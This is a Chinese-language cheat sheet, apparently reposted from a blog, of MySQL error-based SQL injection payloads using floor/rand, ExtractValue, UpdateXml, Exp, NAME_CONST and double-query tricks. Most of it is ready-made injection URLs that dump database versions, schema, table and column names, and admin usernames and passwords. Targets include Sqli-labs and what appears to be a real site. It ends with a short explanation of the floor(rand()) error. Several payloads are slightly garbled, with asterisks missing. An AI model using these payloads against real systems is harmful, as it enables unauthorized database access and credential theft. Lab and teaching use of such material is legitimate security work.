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mysql暴错注入方法整理，通过floor，UpdateXml，ExtractValue，NAME_CONST，Error based Double Query Injection等方法。
报错注入：（and后不能直接跟select，可以加（））
1.报错注入floor---->(select 1 from (select count(*),concat((payload[]),floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1
2.报错注入extractvalue---->select extractvalue(1,concat(0x5c,([payload])))
3.报错注入updatexml---->select 1=(updatexml(1,concat(0x3a,([payload])),1))
4.报错注入Exp---->select Exp(~(select * from ([payload])a))
1、通过floor暴错
/数据库版本/
http://127.0.0.1/2/Less-5/?id=1' and (select 1 from (select count(*),concat((select version()),floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1 --+
/简单办法暴库/
http://www./sql.php?id=info()
/连接用户/
http://www./sql.php?id=1+and(select 1 from(select count(),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
/连接数据库/
http://127.0.0.1/2/Less-5/?id=1' and (select 1 from (select count(*),concat((select database()),floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1 --+
/暴库/
http://www./sql.php?id=1+and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
/暴表/
http://www./sql.php?id=1+and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
/暴字段/
http://www./sql.php?id=1+and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
/暴内容/
http://www./sql.php?id=1+and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
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2、ExtractValue(有长度限制,最长32位)
http://www./sql.php?id=1+and extractvalue(1, concat(0x7e, (select @@version),0x7e))
http://www./sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))
3、UpdateXml(有长度限制,最长32位)
http://www./sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www./sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
4、NAME_CONST(适用于低版本)
http://wlkc./qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
5、Error based Double Query Injection
(http://www./error-based-double-query-injection/)
/数据库版本/
http://www./sql.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1
Rand() //随机函数
Floor() //取整函数
Count() //聚合函数
Group by key //分组语句
备注原理：
当在一个聚合函数，比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。[这个是Mysql的bug]。
http://127.0.0.1/s/Less-5/?id=1′ and (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1#
group by key的原理是循环读取数据的每一行，将结果保存于临时表中。读取每一行的key时，如果key存在于临时表中，则不在临时表中更新临时表中的数据；如果该key不存在于临时表中，则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数，检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0，如果此时临时表只有key为1的行不存在key为0的行，那么数据库要将该条记录插入临时表，由于是随机数，插时又要计算一下随机值，此时 floor(random(0)*2)结果可能为1，就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值不一致，导致插入时与原本已存在的产生冲突的错误
转载：https://blog.csdn.net/jpygx123/article/details/84191704
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